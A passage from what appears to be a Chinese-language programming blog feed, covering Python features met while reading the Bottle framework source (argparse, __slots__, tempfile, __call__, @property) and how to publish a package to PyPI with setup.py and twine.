<span class="n">parser</span><span class="p">.</span><span class="n">parse_args</span><span class="p">()</span>
</code></pre></div></div>
<p>输出如下:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>pycharm_env<span class="o">)</span> ➜ six_web git:<span class="o">(</span>six_20171018<span class="o">)</span> ✗ python six.py <span class="nt">--help</span>
usage: six.py <span class="o">[</span><span class="nt">-h</span><span class="o">]</span>
optional arguments:
<span class="nt">-h</span>, <span class="nt">--help</span> show this <span class="nb">help </span>message and <span class="nb">exit</span>
</code></pre></div></div>
<p>具体的参数不再赘述, 工程中使用的代码如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">_cli_parse</span><span class="p">(</span><span class="n">args</span><span class="p">):</span>
<span class="s">'''
python -m six_web 输出的帮助文档
:param args: 参数输入
:return:
'''</span>
<span class="kn">from</span> <span class="nn">argparse</span> <span class="kn">import</span> <span class="n">ArgumentParser</span>
<span class="n">parser</span> <span class="o">=</span> <span class="n">ArgumentParser</span><span class="p">(</span><span class="n">prog</span><span class="o">=</span><span class="n">args</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">usage</span><span class="o">=</span><span class="s">"%(prog)s [options] package.moudle:app"</span><span class="p">,</span>
<span class="n">epilog</span><span class="o">=</span><span class="s">'Life is short, love python!'</span><span class="p">,</span>
<span class="n">description</span><span class="o">=</span><span class="s">'Coding to change the world for better.'</span><span class="p">)</span>
<span class="n">opt</span> <span class="o">=</span> <span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span>
<span class="n">opt</span><span class="p">(</span><span class="s">'-v'</span><span class="p">,</span> <span class="s">'--version'</span><span class="p">,</span> <span class="n">action</span><span class="o">=</span><span class="s">'store_true'</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">'show version number'</span><span class="p">)</span>
<span class="n">opt</span><span class="p">(</span><span class="s">'-b'</span><span class="p">,</span> <span class="s">'--bind'</span><span class="p">,</span> <span class="n">metavar</span><span class="o">=</span><span class="s">'ip:port'</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">'bind address, default localhost:8080'</span><span class="p">)</span>
<span class="n">opt</span><span class="p">(</span><span class="s">'-s'</span><span class="p">,</span> <span class="s">'--server'</span><span class="p">,</span> <span class="n">metavar</span><span class="o">=</span><span class="s">'SERVER'</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">'user SERVER as backend'</span><span class="p">)</span>
<span class="n">opt</span><span class="p">(</span><span class="s">'-C'</span><span class="p">,</span> <span class="s">'--param'</span><span class="p">,</span> <span class="n">metavar</span><span class="o">=</span><span class="s">'NAME=VALUE'</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">'overwrite config value'</span><span class="p">)</span>
<span class="n">opt</span><span class="p">(</span><span class="s">'--debug'</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">'run server in debug mode'</span><span class="p">)</span>
<span class="n">opt</span><span class="p">(</span><span class="s">'--reload'</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">'auto reload on file changes'</span><span class="p">)</span>
<span class="n">parser</span><span class="p">.</span><span class="n">parse_args</span><span class="p">()</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">_cli_parse</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span>
</code></pre></div></div>
<p>运行结果:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>pycharm_env<span class="o">)</span> ➜ six_web git:<span class="o">(</span>six_20171018<span class="o">)</span> ✗ python six.py <span class="nt">-h</span>
usage: six.py <span class="o">[</span>options] package.moudle:app
Coding to change the world <span class="k">for </span>better.
optional arguments:
<span class="nt">-h</span>, <span class="nt">--help</span> show this <span class="nb">help </span>message and <span class="nb">exit</span>
<span class="nt">-v</span>, <span class="nt">--version</span> show version number
<span class="nt">-b</span> ip:port, <span class="nt">--bind</span> ip:port
<span class="nb">bind </span>address, default localhost:8080
<span class="nt">-s</span> SERVER, <span class="nt">--server</span> SERVER
user SERVER as backend
<span class="nt">-C</span> <span class="nv">NAME</span><span class="o">=</span>VALUE, <span class="nt">--param</span> <span class="nv">NAME</span><span class="o">=</span>VALUE
overwrite config value
<span class="nt">--debug</span> DEBUG run server <span class="k">in </span>debug mode
<span class="nt">--reload</span> RELOAD auto reload on file changes
Life is short, love python!
</code></pre></div></div>
<h2 id="2-python-slots--使用">2. Python <strong>slots</strong> 使用</h2>
<p>正常情况下,当我们定义了一个class,创建了一个class的实例后,我们可以给该实例绑定任何属性和方法</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">>>></span> <span class="k">class</span> <span class="nc">T</span><span class="p">():</span>
<span class="p">...</span> <span class="k">pass</span>
<span class="p">...</span>
<span class="o">>>></span> <span class="n">t</span> <span class="o">=</span> <span class="n">T</span><span class="p">()</span>
<span class="o">>>></span> <span class="n">t</span><span class="p">.</span><span class="n">name</span> <span class="o">=</span> <span class="s">'haha'</span>
</code></pre></div></div>
<p>使用 <strong>slots</strong> 可以限制类的属性与方法, 强行赋值就会报错</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">>>></span> <span class="k">class</span> <span class="nc">WithSlots</span><span class="p">():</span>
<span class="p">...</span> <span class="n">__slots__</span> <span class="o">=</span> <span class="p">(</span><span class="s">'name'</span><span class="p">,</span> <span class="s">'props'</span><span class="p">)</span>
<span class="p">...</span>
<span class="o">>>></span> <span class="n">s</span> <span class="o">=</span> <span class="n">WithSlots</span><span class="p">()</span>
<span class="o">>>></span> <span class="n">s</span><span class="p">.</span><span class="n">name</span> <span class="o">=</span> <span class="s">'haha'</span>
<span class="o">>>></span> <span class="n">s</span><span class="p">.</span><span class="n">name</span>
<span class="s">'haha'</span>
<span class="o">>>></span> <span class="n">s</span><span class="p">.</span><span class="n">props</span> <span class="o">=</span> <span class="p">[</span><span class="n">i</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">100</span><span class="p">)]</span>
<span class="o">>>></span> <span class="n">s</span><span class="p">.</span><span class="n">pp</span> <span class="o">=</span> <span class="s">'test'</span>
<span class="n">Traceback</span> <span class="p">(</span><span class="n">most</span> <span class="n">recent</span> <span class="n">call</span> <span class="n">last</span><span class="p">):</span>
<span class="n">File</span> <span class="s">"<stdin>"</span><span class="p">,</span> <span class="n">line</span> <span class="mi">1</span><span class="p">,</span> <span class="ow">in</span> <span class="o"><</span><span class="n">module</span><span class="o">></span>
<span class="nb">AttributeError</span><span class="p">:</span> <span class="s">'WithSlots'</span> <span class="nb">object</span> <span class="n">has</span> <span class="n">no</span> <span class="n">attribute</span> <span class="s">'pp'</span>
</code></pre></div></div>
<p>另外, 动态绑定会消耗不少内存, 使用 <strong>slots</strong> 后, 只给指定属性分配空间, 很大程度上减少了内存消耗.</p>
<p><a href="https://eastlakeside.gitbooks.io/interpy-zh/content/slots_magic/">https://eastlakeside.gitbooks.io/interpy-zh/content/slots_magic/</a></p>
<h2 id="3-python-临时文件-tempfile">3. Python 临时文件 tempfile</h2>
<p>tempfile 模块用于创建临时文件和目录, 用完后自动删除, 比较常用的有 <code class="language-plaintext highlighter-rouge">TemporaryFile</code> 和 <code class="language-plaintext highlighter-rouge">NamedTemporaryFile</code>.</p>
<p>比如 Bottle 框架的 config 类测试源码, 其中一个是来测试配置文件读取, 使用方法如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="k">class</span> <span class="nc">TestINIConfigLoader</span><span class="p">(</span><span class="n">unittest</span><span class="p">.</span><span class="n">TestCase</span><span class="p">):</span>
<span class="o">@</span><span class="nb">classmethod</span>
<span class="k">def</span> <span class="nf">setUpClass</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">config_file</span> <span class="o">=</span> <span class="n">tempfile</span><span class="p">.</span><span class="n">NamedTemporaryFile</span><span class="p">(</span><span class="n">suffix</span><span class="o">=</span><span class="s">'.example.ini'</span><span class="p">,</span>
<span class="n">delete</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">config_file</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">b'[DEFAULT]</span><span class="se">\n</span><span class="s">'</span>
<span class="s">b'default: 45</span><span class="se">\n</span><span class="s">'</span>
<span class="s">b'[bottle]</span><span class="se">\n</span><span class="s">'</span>
<span class="s">b'port = 8080</span><span class="se">\n</span><span class="s">'</span>
<span class="s">b'[ROOT]</span><span class="se">\n</span><span class="s">'</span>
<span class="s">b'namespace.key = test</span><span class="se">\n</span><span class="s">'</span>
<span class="s">b'[NameSpace.Section]</span><span class="se">\n</span><span class="s">'</span>
<span class="s">b'sub.namespace.key = test2</span><span class="se">\n</span><span class="s">'</span>
<span class="s">b'default = otherDefault</span><span class="se">\n</span><span class="s">'</span>
<span class="s">b'[compression]</span><span class="se">\n</span><span class="s">'</span>
<span class="s">b'status=single</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">config_file</span><span class="p">.</span><span class="n">flush</span><span class="p">()</span>
<span class="o">@</span><span class="nb">classmethod</span>
<span class="k">def</span> <span class="nf">tearDownClass</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">config_file</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">test_load_config</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">ConfigDict</span><span class="p">()</span>
<span class="n">c</span><span class="p">.</span><span class="n">load_config</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">config_file</span><span class="p">.</span><span class="n">name</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">assertDictEqual</span><span class="p">({</span>
<span class="s">'compression.default'</span><span class="p">:</span> <span class="s">'45'</span><span class="p">,</span>
<span class="s">'compression.status'</span><span class="p">:</span> <span class="s">'single'</span><span class="p">,</span>
<span class="s">'default'</span><span class="p">:</span> <span class="s">'45'</span><span class="p">,</span>
<span class="s">'namespace.key'</span><span class="p">:</span> <span class="s">'test'</span><span class="p">,</span>
<span class="s">'namespace.section.default'</span><span class="p">:</span> <span class="s">'otherDefault'</span><span class="p">,</span>
<span class="s">'namespace.section.sub.namespace.key'</span><span class="p">:</span> <span class="s">'test2'</span><span class="p">,</span>
<span class="s">'port'</span><span class="p">:</span> <span class="s">'8080'</span><span class="p">},</span> <span class="n">c</span><span class="p">)</span>
</code></pre></div></div>
<p>NamedTemporaryFile, 能获取到文件名.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">>>></span> <span class="kn">import</span> <span class="nn">tempfile</span>
<span class="o">>>></span> <span class="n">temp</span> <span class="o">=</span> <span class="n">tempfile</span><span class="p">.</span><span class="n">NamedTemporaryFile</span><span class="p">()</span>
<span class="o">>>></span> <span class="n">temp</span><span class="p">.</span><span class="n">name</span>
<span class="s">'/var/folders/l_/9w7p8m0x2gb5gn36zw8y6wkh0000gn/T/tmpwst_12re'</span>
<span class="o">>>></span> <span class="kn">import</span> <span class="nn">os</span>
<span class="o">>>></span> <span class="kn">import</span> <span class="nn">os.path</span>
<span class="o">>>></span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">temp</span><span class="p">.</span><span class="n">name</span><span class="p">)</span>
<span class="bp">True</span>
<span class="o">>>></span> <span class="n">temp</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="o">>>></span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">temp</span><span class="p">.</span><span class="n">name</span><span class="p">)</span>
<span class="bp">False</span>
</code></pre></div></div>
<p>源码中还使用了 mkstemp 方法, 返回描述符与文件名, 但是 os.close(fd) 后文件依然存在, 需要手动删除文件</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">tempfile</span><span class="p">.</span><span class="n">mkstemp</span><span class="p">([</span><span class="n">suffix</span><span class="o">=</span><span class="s">''</span><span class="p">[,</span> <span class="n">prefix</span><span class="o">=</span><span class="s">'tmp'</span><span class="p">[,</span> <span class="nb">dir</span><span class="o">=</span><span class="bp">None</span><span class="p">[,</span> <span class="n">text</span><span class="o">=</span><span class="bp">False</span><span class="p">]]]])</span>
</code></pre></div></div>
<p>mkstemp方法用于创建一个临时文件。该方法仅仅用于创建临时文件,调用tempfile.mkstemp函数后,返回包含两个元素的元组,
第一个元素指示操作该临时文件的安全级别,第二个元素指示该临时文件的路径。</p>
<p>参数suffix和prefix分别表示临时文件名称的后缀和前缀;</p>
<p>dir指定了临时文件所在的目录,如果没有指定目录,将根据系统环境变量TMPDIR, TEMP或者TMP的设置来保存临时文件</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="n">reloader</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'BOTTLE_CHILD'</span><span class="p">):</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="n">lockfile</span> <span class="o">=</span> <span class="bp">None</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">fd</span><span class="p">,</span> <span class="n">lockfile</span> <span class="o">=</span> <span class="n">tempfile</span><span class="p">.</span><span class="n">mkstemp</span><span class="p">(</span><span class="n">prefix</span><span class="o">=</span><span class="s">'bottle.'</span><span class="p">,</span> <span class="n">suffix</span><span class="o">=</span><span class="s">'.lock'</span><span class="p">)</span>
<span class="n">os</span><span class="p">.</span><span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">)</span> <span class="c1"># We only need this file to exist. We never write to it
</span> <span class="k">while</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">lockfile</span><span class="p">):</span>
<span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="n">sys</span><span class="p">.</span><span class="n">executable</span><span class="p">]</span> <span class="o">+</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span>
</code></pre></div></div>
<h2 id="4-call-用法">4. <strong>call</strong> 用法</h2>
<p>AppStack() 类中, 使用了 <strong>call</strong> 方法,</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">AppStack</span><span class="p">(</span><span class="nb">list</span><span class="p">):</span>
<span class="s">""" A stack-like list. Calling it returns the head of the stack. """</span>
<span class="k">def</span> <span class="nf">__call__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="s">""" Return the current default application. """</span>
<span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">default</span>
<span class="k">def</span> <span class="nf">push</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">value</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span>
<span class="s">""" Add a new :class:`Bottle` instance to the stack """</span>
<span class="k">if</span> <span class="ow">not</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">value</span><span class="p">,</span> <span class="n">Bottle</span><span class="p">):</span>
<span class="n">value</span> <span class="o">=</span> <span class="n">Bottle</span><span class="p">()</span>
<span class="bp">self</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">value</span><span class="p">)</span>
<span class="k">return</span> <span class="n">value</span>
<span class="n">new_app</span> <span class="o">=</span> <span class="n">push</span>
<span class="o">@</span><span class="nb">property</span>
<span class="k">def</span> <span class="nf">default</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="k">return</span> <span class="bp">self</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">except</span> <span class="nb">IndexError</span><span class="p">:</span>
<span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">push</span><span class="p">()</span>
</code></pre></div></div>
<p>在实例化对象后, 每次调用该对象, 就会执行一次.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">>>></span> <span class="k">class</span> <span class="nc">CallClass</span><span class="p">():</span>
<span class="p">...</span> <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span>
<span class="p">...</span> <span class="bp">self</span><span class="p">.</span><span class="n">value</span> <span class="o">=</span> <span class="n">value</span>
<span class="p">...</span> <span class="k">def</span> <span class="nf">__call__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="p">...</span> <span class="bp">self</span><span class="p">.</span><span class="n">value</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">value</span> <span class="o">*</span> <span class="mi">10</span>
<span class="p">...</span>
<span class="o">>>></span> <span class="n">call</span> <span class="o">=</span> <span class="n">CallClass</span><span class="p">(</span><span class="mi">6</span><span class="p">)</span>
<span class="o">>>></span> <span class="n">call</span><span class="p">.</span><span class="n">value</span>
<span class="mi">6</span>
<span class="o">>>></span> <span class="n">call</span>
<span class="o"><</span><span class="n">__main__</span><span class="p">.</span><span class="n">CallClass</span> <span class="nb">object</span> <span class="n">at</span> <span class="mh">0x10b2ba630</span><span class="o">></span>
<span class="o">>>></span> <span class="n">call</span><span class="p">.</span><span class="n">value</span>
<span class="mi">6</span>
<span class="o">>>></span> <span class="n">call</span><span class="p">()</span>
<span class="o">>>></span> <span class="n">call</span><span class="p">.</span><span class="n">value</span>
<span class="mi">60</span>
<span class="o">>>></span> <span class="n">call</span><span class="p">.</span><span class="n">__call__</span><span class="p">()</span>
<span class="o">>>></span> <span class="n">call</span><span class="p">.</span><span class="n">value</span>
<span class="mi">600</span>
</code></pre></div></div>
<h2 id="5-property-使用">5. @property 使用</h2>
<p>property 在 python 中被称为 “属性函数”, 具体的功能有以下两点:</p>
<ul>
<li>类方法转换成属性, 通过 “实例化对象.类名” 进行调用</li>
<li>重写属性的 setter 与 getter 方法</li>
</ul>
<h3 id="类转换成属性">类转换成属性</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">Pro</span><span class="p">():</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">first_name</span><span class="p">,</span> <span class="n">last_name</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">first_name</span> <span class="o">=</span> <span class="n">first_name</span>
<span class="bp">self</span><span class="p">.</span><span class="n">last_name</span> <span class="o">=</span> <span class="n">last_name</span>
<span class="o">@</span><span class="nb">property</span>
<span class="k">def</span> <span class="nf">fullname</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="s">'Fullname is %s %s'</span> <span class="o">%</span> <span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">last_name</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">first_name</span><span class="p">)</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">pro</span> <span class="o">=</span> <span class="n">Pro</span><span class="p">(</span><span class="s">'shiheng'</span><span class="p">,</span> <span class="s">'feng'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">pro</span><span class="p">.</span><span class="n">fullname</span><span class="p">)</span>
<span class="c1">####
</span><span class="n">Fullname</span> <span class="ow">is</span> <span class="n">feng</span> <span class="n">shiheng</span>
</code></pre></div></div>
<h3 id="可以替换-setter-getter">可以替换 setter getter</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">Pro</span><span class="p">():</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">first_name</span><span class="p">,</span> <span class="n">last_name</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">first_name</span> <span class="o">=</span> <span class="n">first_name</span>
<span class="bp">self</span><span class="p">.</span><span class="n">last_name</span> <span class="o">=</span> <span class="n">last_name</span>
<span class="bp">self</span><span class="p">.</span><span class="n">_value</span> <span class="o">=</span> <span class="bp">None</span>
<span class="o">@</span><span class="nb">property</span>
<span class="k">def</span> <span class="nf">fullname</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="s">'Fullname is %s %s'</span> <span class="o">%</span> <span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">last_name</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">first_name</span><span class="p">)</span>
<span class="o">@</span><span class="nb">property</span>
<span class="k">def</span> <span class="nf">value</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">_value</span>
<span class="o">@</span><span class="n">value</span><span class="p">.</span><span class="n">setter</span>
<span class="k">def</span> <span class="nf">value</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">_value</span> <span class="o">=</span> <span class="n">value</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">pro</span> <span class="o">=</span> <span class="n">Pro</span><span class="p">(</span><span class="s">'shiheng'</span><span class="p">,</span> <span class="s">'feng'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">pro</span><span class="p">.</span><span class="n">value</span><span class="p">)</span>
<span class="n">pro</span><span class="p">.</span><span class="n">value</span> <span class="o">=</span> <span class="mi">1024</span>
<span class="k">print</span><span class="p">(</span><span class="n">pro</span><span class="p">.</span><span class="n">value</span><span class="p">)</span>
<span class="c1">###
</span><span class="bp">None</span>
<span class="mi">1024</span>
</code></pre></div></div>
Bottle 源码阅读(二) -- Python 项目的开源到 Pypi 服务器
2017-10-19T00:00:00+00:00
http://fish267.github.io/2017/10/19/bottle-source-code-learning-2
<p>Pypi 服务, 类似 Java 的 maven 仓库, 用来托管开源的 Python 模块. 发布 Python 模块, 必须要配置好 <code class="language-plaintext highlighter-rouge">setup.py</code> 等配置文件.</p>
<p>一般待发布的项目目录, 大概有下面文件</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">.</span>
|-- LICENSE.txt
|-- MANIFEST.in
|-- README.rst
|-- data
| <span class="sb">`</span><span class="nt">--</span> data_file
|-- sample
| |-- __init__.py
| <span class="sb">`</span><span class="nt">--</span> package_data.dat
|-- sample.egg-info
| |-- PKG-INFO
| |-- SOURCES.txt
| |-- dependency_links.txt
| |-- entry_points.txt
| |-- requires.txt
| <span class="sb">`</span><span class="nt">--</span> top_level.txt
|-- setup.cfg
|-- setup.py
|-- tests
| |-- __init__.py
| |-- __init__.pyc
| |-- __pycache__
| | <span class="sb">`</span><span class="nt">--</span> test_simple.cpython-27-PYTEST.pyc
| <span class="sb">`</span><span class="nt">--</span> test_simple.py
<span class="sb">`</span><span class="nt">--</span> tox.ini
</code></pre></div></div>
<!--more-->
<h2 id="1-准备-setuppy">1. 准备 setup.py</h2>
<p>参考官网的 <a href="https://docs.python.org/3.6/distutils/setupscript.html">Writing the Setup Script</a> 例子. 一个简单的 <code class="language-plaintext highlighter-rouge">setup.py</code> 文件内容:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python
</span>
<span class="kn">from</span> <span class="nn">distutils.core</span> <span class="kn">import</span> <span class="n">setup</span>
<span class="n">setup</span><span class="p">(</span><span class="n">name</span><span class="o">=</span><span class="s">'Distutils'</span><span class="p">,</span>
<span class="n">version</span><span class="o">=</span><span class="s">'1.0'</span><span class="p">,</span>
<span class="n">description</span><span class="o">=</span><span class="s">'Python Distribution Utilities'</span><span class="p">,</span>
<span class="n">author</span><span class="o">=</span><span class="s">'Greg Ward'</span><span class="p">,</span>
<span class="n">author_email</span><span class="o">=</span><span class="s">'gward@python.net'</span><span class="p">,</span>
<span class="n">url</span><span class="o">=</span><span class="s">'https://www.python.org/sigs/distutils-sig/'</span><span class="p">,</span>
<span class="n">packages</span><span class="o">=</span><span class="p">[</span><span class="s">'distutils'</span><span class="p">,</span> <span class="s">'distutils.command'</span><span class="p">],</span>
<span class="p">)</span>
</code></pre></div></div>
<p>主要参数说明:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>name: 包名称, 也就是能够通过 import name 被导入的名字
packages: 安装的包的路径
version: 版本号
description: PyPI首页的一句话短描述
long_description: PyPI首页的正文, 通常就是 README.rst 文件中的内容
url: 你的项目主页, 通常是项目的Github主页
download_url: 你项目源码的下载链接
license: 版权协议名
</code></pre></div></div>
<h2 id="2-准备-setupcfg--manifestin">2. 准备 setup.cfg MANIFEST.in</h2>
<p>setup.cfg 是一个 ini 格式的文件,可能包含传递给 setup.py 的命令的可选默认值。</p>
<p>MANIFEST.in 此文件中包含有不属于内部包目录,但你仍想纳入进来的文件。这些文件通常是 readme 文件,license 文件以及一些类似的文件。其中,比较重要的一个是 requirements.txt。 pip 使用该文件安装其他必须的包。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">include</span> <span class="n">LICENSE</span>
<span class="n">include</span> <span class="n">README</span><span class="p">.</span><span class="n">md</span>
<span class="n">include</span> <span class="n">requirements</span><span class="p">.</span><span class="n">txt</span>
</code></pre></div></div>
<h2 id="3-本地测试">3. 本地测试</h2>
<p>setup.py文件的使用:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 制作分发包</span>
% python setup.py sdist
<span class="c"># 本地安装测试</span>
% pip <span class="nb">install </span>dist/six_web-1.0.0.tar.gz <span class="nt">--upgrade</span>
<span class="c"># 本地卸载</span>
% pip uninstall six_web
</code></pre></div></div>
<h2 id="4-上传到服务器">4. 上传到服务器</h2>
<p>本地测试完成后, 去 <a href="https://pypi.python.org/">Pypi官网</a> 注册账号, 然后将 wheel 包上传到服务器, wheel 包的好处是安装的时候, 无需构建, 速度较快, 上传到服务器有两种方式</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 安装 wheel 工具</span>
pip <span class="nb">install </span>wheel
</code></pre></div></div>
<p>此处有个坑, 记得在 setup.py 文件引入 setup 包时, 优先使用 setuptools 中的 setup</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">try</span><span class="p">:</span>
<span class="kn">from</span> <span class="nn">setuptools</span> <span class="kn">import</span> <span class="n">setup</span>
<span class="k">except</span> <span class="nb">ImportError</span><span class="p">:</span>
<span class="kn">from</span> <span class="nn">distutils.core</span> <span class="kn">import</span> <span class="n">setup</span>
</code></pre></div></div>
<h3 id="41-使用-twine-上传">4.1 使用 twine 上传</h3>
<p><a href="https://pypi.python.org/pypi/twine">twine</a>是一个专门用于发布项目到PyPI的工具,可以使用 <code class="language-plaintext highlighter-rouge">pip install twine</code> 来安装.</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 生成 wheel 安装包</span>
python setup.py bdist_wheel
<span class="c"># 上传安装包</span>
twine upload <span class="nt">-u</span> username <span class="nt">-p</span> password dist/six_web-1.0.0-py3-none-any.whl
</code></pre></div></div>
<p>可以在服务器上直接看到上传的包了</p>
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/DcNoQGvMjDsNODbrcmNN.png" alt="" /></p>
<h1 id="参考资料">参考资料</h1>
<ol>
<li><a href="https://packaging.python.org/tutorials/distributing-packages/">https://packaging.python.org/tutorials/distributing-packages/</a></li>
<li><a href="https://github.com/pypa/sampleproject">https://github.com/pypa/sampleproject</a></li>
<li><a href="https://stackoverflow.com/questions/26664102/why-can-i-not-create-a-wheel-in-python">https://stackoverflow.com/questions/26664102/why-can-i-not-create-a-wheel-in-python</a></li>
<li><a href="https://github.com/fish267/six-web">https://github.com/fish267/six-web</a></li>
<li><a href="https://pypi.python.org/pypi?name=six-web&version=1.0.0&:action=display">https://pypi.python.org/pypi?name=six-web&version=1.0.0&:action=display</a></li>
</ol>
Bottle 源码阅读(一) -- 使用 Travis CI 及 Coveralls 持续集成
2017-10-18T00:00:00+00:00
http://fish267.github.io/2017/10/18/bottle-source-code-learning-1
<p>Clone 下来 Bottle 源码后, 逐个文件分析, 发现 <code class="language-plaintext highlighter-rouge">.travis.yml</code> 文件中的配置比较有意思, 如下图. Google 了一下, 发现是 Github 项目持续集成用的.</p>
<div class="language-yml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">language</span><span class="pi">:</span> <span class="s">python</span>
<span class="na">sudo</span><span class="pi">:</span> <span class="s">required</span>
<span class="na">python</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s2">"</span><span class="s">2.7.3"</span> <span class="c1"># Ubuntu 12.4LTS (precise) and Debian 7 LTS (wheezy)</span>
<span class="pi">-</span> <span class="s2">"</span><span class="s">2.7"</span>
<span class="pi">-</span> <span class="s2">"</span><span class="s">3.3"</span>
<span class="pi">-</span> <span class="s2">"</span><span class="s">3.4"</span>
